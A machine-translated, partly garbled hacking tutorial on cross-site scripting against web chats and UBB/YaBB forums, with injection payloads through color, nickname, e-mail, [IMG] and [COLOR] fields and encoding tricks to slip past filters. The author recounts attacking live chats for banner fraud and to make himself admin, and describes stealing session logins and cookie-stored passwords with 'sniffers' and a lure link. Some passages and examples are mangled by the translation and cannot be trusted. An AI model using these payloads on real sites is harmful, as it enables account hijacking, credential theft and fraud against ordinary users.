This page has been robot translated, sorry for typos if any. Original content here.

Hacking chat

  • Part 1
  • Part 2

  • Variations on the theme

    In the previous chapter, we looked at the case where color was inserted into the text of the page without restricting quotes. And what if there are quotes? For example, the text in the chat is as follows:
    Traveler - Alpha, hello))
    Alpha - Hello everyone! !!

    As you can see, the color is inserted in the surrounding quotation marks. This problem is easily solved if the chat does not filter out the symbol ' . If this is the case, then we can simply close the open quotation mark, and then write our script. For example, setting the color value as red 'size = 20' <FONT color = # 00ff00>, we again get the effect with a larger font. Pay attention to the space and the apostrophe at the end. They are necessary, in order that the closing quotation mark, which the chat itself inserts, does not destroy our attributes. As a result, our message will look like:

    Shram - Hi

    If the chat does not skip the quote character that surrounds the value of the parameter, then it will not be possible to hack the chat through this parameter :( (Although some things are possible here: see the end of this chapter.

    This method very often (almost always) works for a given e-mail address (in Chatlanin parameters or in the return address field in forums and guest books). Typically, a link to soap goes to the forums as follows:

    <b>&lt;a; Fedya Pupkin &lt;/a&gt;</b> (the fragment mailto: the gateway itself inserts). Then, setting the value "style = background-image: url (javascript: alert ('Ну_нету_у_менямимылала!))" As a soap, " we send an alert to any visitor of the forum :) ) (note that the address of the soap, as a rule, filters the input characters are not set). True, some forums and chats seem to check the soap, but this check is reduced to the requirement of the presence of the @ symbol. If this is so, then we will please the creators of the forum and draw the doggie as follows: "style = background-image: url (javascript: alert (" Ну_нету_у_меняmlяml! "))" .

    In some chats, you can insert your own pictures, by setting the address of the picture. As we already know, where there is a URL, you can insert a script there. I will not even chew it. Everything is so clear.

    The first chapter showed how to change the input form of the chat. In particular, it was necessary to change the relative address of the action field to absolute. However, the chat structure can be so complex that it can take a lot of such replacements. To change in all cases of the address is inconvenient (and it is possible to be mistaken). Instead, you can recommend the <base href = ' tag : http: //'^gt; , which is inserted anywhere in the HTML document. In this case, all relative addresses will be addressed relative to the address specified in the base tag (in this case, relative to ), regardless of the real base DNS name.

    You probably know what sniffers are? If not, then I'll tell you the sniffer - a very useful thing that allows you to track traffic. In the case of chat, the sniffer allows you to determine the IP addresses of the chat room, as well as their temporary names and codes (for chat rooms with temporary names). Sometimes it even allows you to get admin rights :) ).

    It often happens that the nickname in the text of the chat acts as a link, when you click on that, you can send a private message to the chat room. Here's how it looks in HTML:

    Alpha - Hello!

    Moderator - Hello!

    In addition to the effect described in the chapter "Miracles with the symbol =", it is possible to insert a script that triggers a click event on a link (if the chat does not filter out the quotation marks - in this case " - and the symbol + ). For this, as a nickname, the following value: "+ alert ('Hello!') +" . You can insert something more seriously (using only the toString () function.) For example, such a nickname "+ toString (open ('//', '_ top ')) + " sends a user who pokes on your nickname, take a break from chat in Yahoo :) ).

    Hacking M chat

    As mentioned in the first chapter, there are two methods for hacking chats. All the above examples relate to the first method - the method of penetration into the parameters of the tag. Here I want to show the technology of the second method - the method of breaking the structure of HTML.

    The color of the messages in chat M was set in numerical form (and therefore had a limit on the length of the color - 7 characters), had fancy filters, but missed a single character ' . Here is a snippet of messages in the chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt; &lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    As you can see the color was specified without framing the quotes. The technology of hacking is simple: we log in under an arbitrary nickname, and color ' . Then, after entering the chat, we issue a message like 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Pay attention to the gap in the end - it is mandatory. Our message looks like this:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt; &lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt; &lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt; &lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    It turns out that part of the HTML code - class = "ku"> - was inside single quotes, and viewed by the browser as a string-value of color. This line also contains the closing angle bracket of the tag, so our message is inside the tag! The code that goes directly after our message is not understood by the browser and ignored (and this part should be separated by a space from our style parameter, otherwise the parameter as a whole will be considered erroneous), but the following corner bracket is considered to be the closing font tag. Everything is very simple.

    A bit about the backslash character

    In JavaScript string strings, there is one special control character. This is a backslash character. One of its purposes is as follows: the quotation mark behind it is considered to be a symbol, not a line terminator. For example:

    &lt;script&gt; alert ('It \' s') &lt;/ script&gt; - does not produce an error message, because the apostrophe in combination with \ in the middle of the line is not considered the end of the line. While &lt;script&gt; alert ('It's') &lt;/ script&gt; produces an error message.

    Since the character \ itself is a manager (and therefore does not appear directly on the line), then a combination of \\ exists to display itself. Such a combination is displayed as just a \ .

    What does all this have to do with hacking chats? And here's what: some chat rooms do not put a filter on quotation marks " (or ' ) in the nick field, but replace them with combinations of type " (or \ " ), believing that in this case the quotes will be displayed but can not act as limiters, and therefore can not destroy the structure of HTML. In this case, short-sighted developers overlook the fact that the user can use the symbol \ to lock their character \ . For example, a chat fragment for a user message with the nickname Sh "ram looks like this:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In this case, the quotation mark in nickel does not violate the structure of the tag. But if we change the nickname to Al \ "gol , then inserting the slash before the quotation mark will create the following HTML:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> In doing so, our slash blocks the slash of the chat, and the nickname of the quote destroys the HTML structure! This is visible if you click on the link in the example.

    This effect can be used to hack chats by destroying the HTML structure. Let's pay attention that in some cases it is possible to block limiting quotes by the same method, having inserted back slash in the end of a nickname.

    Recently I noticed another hole associated with the misuse of the symbol \ chat programmers. Let, for example, the user's nickname be inserted into the chat body in the form

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> If we change the profile to Al'gol , the chat will accept such a nickname, but will replace it with Al \ 'gol , naively believing that by inserting a backslash, they will protect the tag from destruction. Actually it is not so :) . When you insert such a nickname into the body of the chat, it will look like this:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In this case, the explorer will display an error message when trying to poke on the nickname. The reason is this: the \ sign is only meaningful within the string Javascript constants, but not HTML! The HTML character itself does not understand, and therefore considers the first apostrophe found to be the end of the href attribute, despite the fact that it is preceded by \ . Thus, for example, such a nickname Algol '= will destroy the structure of the tag, in spite of the fact that before the apostrophe a backslash will be inserted

    Hacking at the level of http

    As already mentioned, the chat server can track the referer field of the HTTP request, and do not start chat if this field is different from the required one. In order to bypass this hurdle, you need to catch the HTTP request header sent by the chat to the server (using special programs, for example Naviscope) and write a special program that sends requests to the server. In this case, the content of requests (for example, the value of the color field) can be set arbitrarily.

    I will not dwell on this in detail. This goes beyond hacking HTML.

    I will only note that at the HTTP level, you can do more tricky things than with conventional HTML or JavaScript. In any case, I recommend viewing the headers of HTTP requests when chatting. They will help you to better understand the work of the chat.

    Miracles with the symbol =

    What do you think will be displayed in the browser for such an HTML line:

    &lt;font onclick = alert ('=')&gt; Text &lt;/ font&gt; ? I bet you will not guess (unless you certainly do not work in Microsoft and did not develop MSIE). The result is so specific that I could not make an example that would demonstrate it . But you can take it on a word that the following will be displayed in the browser window: &lt;fontonclick = alert ('=')&gt; Text As you can see, the opening tag in this case is simply not perceived by the browser as a tag, although there are no syntax errors :) ). And what will happen if we write Text

    Strangely enough, in this case everything will be in order, although there is a syntax error. And if we click on the text, an alert will pop up. Try to move the third apostrophe for the angle bracket, or for the text:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/ font&gt; It will also be an unexpected result.

    Unfortunately I do not have source code or detailed documentation for MSIE, but I think that in this case there is an obvious error in MSIE. Probably the browser analyzes the code in two stages. At the first stage, it highlights the tags, their attributes and the text that lies between them, and on the second it analyzes the JavaScript content of the tag parameters (it's only about those attributes that allow a script value, for example href or onclick ). At the primary analysis the browser for the incomprehensible reason considers a combination = 'the beginning of a line, in spite of the fact that the symbol = already is inside of a line! Then taking = ' for the beginning of the line, the program looks for the end (while completely forgetting that one more line is open and not closed). So everything that follows = ' (or = " ) and until the next character ' is ignored and considered a string! Therefore, in the first example, the browser did not perceive the tag: it did not find the closing angle bracket, because it was (as it were) inside the string. even more surprising is that at the second stage of analyzing the parameters of the tag, the browser sees everything correctly (you can verify this by clicking on the text label in the second example), and takes the string where necessary, and finds the closing angle bracket also where necessary.

    Using this browser error, I was able to comment on some of the chat code, simply simply logged in with a nickname = :) ). Here is the code snippet that displayed the list of those present in the chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt; &lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    However, my nickname in the list simply was not displayed, because the fragment between the quotes

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( was outside the body of the tags: -}. But when you click on the Moderator , the function parent.window.messageFor was called with the parameter = . Similar "effects" were in the display of my messages in the chat.

    It's great (or sad - looking for someone) that this glitch passes almost everywhere where you can even enter the thread (at least for MSIE 5.50.4134.0600), and for this you do not even need to change anything in the form. The bad thing is that it is difficult to achieve significant benefits from this (for example, launching a script).

    In conclusion, we note that the same symbol has a similar effect, which is perceived as the end of the tag, despite the fact that it is inside the line. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; is interpreted by the browser as erroneous, and it gives an insult to the fact that the string constant is not closed.

    Two hacking T chat

    Chat T skipped the following characters in the color field:

    ' " = ;

    When you insert a color into the chat, the surrounding quotes were not. Fragment of messages in the chat (by the way the author of the chat apparently does not consider it necessary to close the tags)), although we hope that this is done to improve performance):

    <code>&lt;FONT COLOR=008000&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    It was embarrassing that the gap was not missed by the filter. However, after some thought, I found the next solution - I took the color in single quotes, and after the color without space I inserted the style parameter: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . As noted in the second chapter, the separating space in this case is not necessary :) ).

    By the way, there were lots of frames in this chat, including hidden ones and empty ones - they probably thought about for any future extensions. But while the admins were thinking about the extensions, I found them a more useful application. I hung in this chat long enough - a few months. And I hung not just this: in one of the hidden frames I shoved my site. And there were banners of the banner network on the site. So I screwed myself about hundreds of thousands of banner ads, and my site jumped to 5-6 places in the rating of hits Rambler Top 100 (in my group). Unfortunately, the banner network compared the attitude of hits / hosts and realized that it is driven by the nose. It turned out that the same visitor comes to my site every 50 times a day. My account has been blocked. So probably still there and hangs, the restless :) ).

    But back to our sheep. After some time, the chat administration replaced the cgi-shka. I do not know what "improvements" were made in the second edition, but I only noticed one change: now the length of the string-color values ​​was limited, and was about 10 characters (by the way, this restriction is in many chat rooms, although I do not understand what is the meaning of them Is it not easier to put filters on input characters? Although it is possible in this way they are protected from buffer overflow?). In this situation, of course the old method no longer worked. To squeeze in 10 characters a decent script it is impossible (here even style itself did not fit). I realized that you can only break through the nickname or the second method - destroying the HTML structure. I tried this for several hours this way. In addition to the cheap effect of the disappearance of the nickname (chapter "Miracles with the symbol =") nothing happened. The break of the structure did not give anything for the following reason: inserting the symbol instead of a color, I opened the line, but it was closed with an apostrophe that was in reference to the time (here the chat was just lucky - it was not intended as a protective measure, although many chat rooms are inserted specially for this fictitious tags of type <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    That is, only the fragment <a href = javascript: parent.window.Mtm ( .. And all that I have achieved is the removal of the time reference tag.If it was possible to insert double quotation marks instead of double quotes, then there would be no problem, because in the chat double quotes were not used, but the symbol "was not filtered by the filter. " The entry under the nickname Algol = also did not give anything, because the characters after 'Algol =')> were ignored and were not considered parameters of the tag. theme ", but these scripts worked only when clicking on my link :( (I was already ready to admit that the whole chat can not be hacked.) And then at the last minute, digging and experimenting in the depths of HTML, I found out that the character of the reverse apostrophe is also the delimiter of strings in HTML !!! And this character was skipped by a filter! I logged in with the nickname Algol and with the color ` .And then, as a message to the chat, I sent this line: ` style = background-image: url (javascript: alert ('Winning_beats_name_!') . ) My message in the chat body looked like this:

    <code>&lt;FONT COLOR="`"&gt; &lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; `style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    In this case, the fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> completely commented and was considered as a color, and the style parameter was inside the tag! The script worked :) ).

    So the programmers of the chat T will have to develop a new version of their brainchild. It remains only amazed how many loopholes they leave, and how slowly they are corrected. They say the whole thing in psychology: the developers of defense systems can not put themselves in the place of a burglar, but they judge the system from their side, instead of looking at it from the outside.

    "Interception", "forgery" and obtaining rights.

    Consider the methods of capturing other people's messages (private messages) and sending messages on behalf of other Chatovites. There are different methods of interception designed for different types of chats. If the chat is completely hacked, then the operation of "forgery" (ie inserting replicas on behalf of other Chatovians) is not difficult: you just need to send a script to privat, which will write some text in the line of the replica, and then click the "send" button. Anologically it is possible to pull out and the user. However, such methods are too crude, primitive and difficult to apply. More advanced methods of interception, in which the chat itself takes you for another user.

    When creating HTML chats, the main problem is that the HTTP protocol, in principle, does not support permanent connections. This means that every time you want to receive messages or send a replica, the chat program should "know" you, understand that you are you. If she did not recognize the users, she would not be able to send you your privates, and could not write your messages on your behalf. To identify participants, chats use different methods. The most commonly used method is IP-addresses and the method of dynamic names. The first method is based on the fact that the same user has the same IP address during the communication session. I will not dwell on this method in detail, I will only say that this method has drawbacks. In particular, it may not work if the user is using a corporate proxy server, or if he has opened several chat windows. Recently, another method has become frequently used - the method of dynamic names. The essence of the method is that whenever the user logs into the chat, he is automatically assigned a temporary unique login. This login automatically registers in the page, which the gateway sends to the user. Every time a user sends a replica form or requests messages from a chat, his page sends a temporary login to the server, through which the server actually identifies the user. The temporary login system generates randomly, and two different users can not have the same login. The login can consist of several parts. Most often this is the user's serial number in the session, and randomly generated a password. Since the login ID is "sewn up" to the chat page of each user, the system knows exactly which user it is communicating, regardless of its IP address, proxy servers, number of open chat windows, etc.

    It is clear that if we knew the user's login, it would not be difficult for us to "knock down" under the user, simply by simply fixing our login page in his page, at his login. Then the system would take us for it ... It turns out that this can be done easily if the chat is hacked, and we have the opportunity to insert your picture into the chat. Then, if you use the sniffer as the picture (see the chapter "Variations on the topic"), then we can get the temporary logins of all chat participants! And if we are interested in someone's specific login, then we need to send him a sniffer in private. I note the following: the intercepted login is valid only as long as the user is in the chat, if it becomes re-logged (it will come out and go back again), then it will already have a new temporary login.

    It is clear that if we intercept the temporary login of the admin, then his rights will automatically pass to us, for example, the possibility of directly inserting tags into messages (ie, the absence of a filter for symbols < and > ), or the ability to delete from the chat, or obtain information about the user etc.

    The third hacking T chat

    So back to the long-suffering chat room T. Not long ago the chat room T completely moved to a new kernel. Now the rules of the game have changed. First, the color field let in almost everything (right up to the < and > signs), and it did not make it difficult for me to hack it. But soon this hole was closed (not without my participation). In the new version of the chat, the color passed only numbers and letters. Hacking through the color became impossible. This made me seek more sophisticated methods. In fact, the only thing that remained was a nickname. From my own experience, I knew that it was difficult to break a chat through a nickname, as developers carefully select filters for a nickname. However, in the chat the "chip" was exaggerated about the fact that "the character set for the nickname has been significantly expanded." It was like a kind of advertising. A little tinkering with the filters on the nickname, I found out that the following characters are skipped:

    ' " = ; \

    The symbol "was skipped, but before it the chat automatically inserted the symbol \ . The mechanisms associated with such a combination are described in the" A little bit about the backslash character. "However, the effects described in this chapter did not give the desired result, and were inconvenient to use. I found it!

    Let's look at a fragment of messages in the chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt; &lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    As you can see, the nickname was given as a link, when you clicked on which was called a certain function. The href reference handler was enclosed in single quotes, and the nickname itself was enclosed in double quotes. Since the double quote was not actually passed by chat in the nickname, it was impossible to go beyond the argument of the function. Nick type = ` did not work, because the handler was enclosed in single apostrophes, and as it was shown in the chapter" Miracles with the symbol = "the effect with the sign = did not work. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Those. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Thus. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt; &lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>


    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    But that's not all. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG][/IMG] такой тег вставляет в сообщение картинку с адресом . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    All sorts of things

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод"", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href= target=_blank&gt; После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) or background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Десятичная кодировка 16th character encoding * Character encoding Unicode
    " " " " "
    ' ' '   '
    " " "   "
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    It will not be superfluous for your friends to know this information, share their article with them!

    Expand / Collapse Expand / Collapse box with comments


    Commenting on, remember that the content and tone of your message can hurt the feelings of real people, show respect and tolerance to your interlocutors even if you do not share their opinion, your behavior in the conditions of freedom of expression and anonymity provided by the Internet, changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
    Now everyone can publish articles
    Try it first!
    To write an article
    Liked? Subscribe to RSS news,
    to be the first to receive information
    about all important events of the country and the world.
    You can also support, click: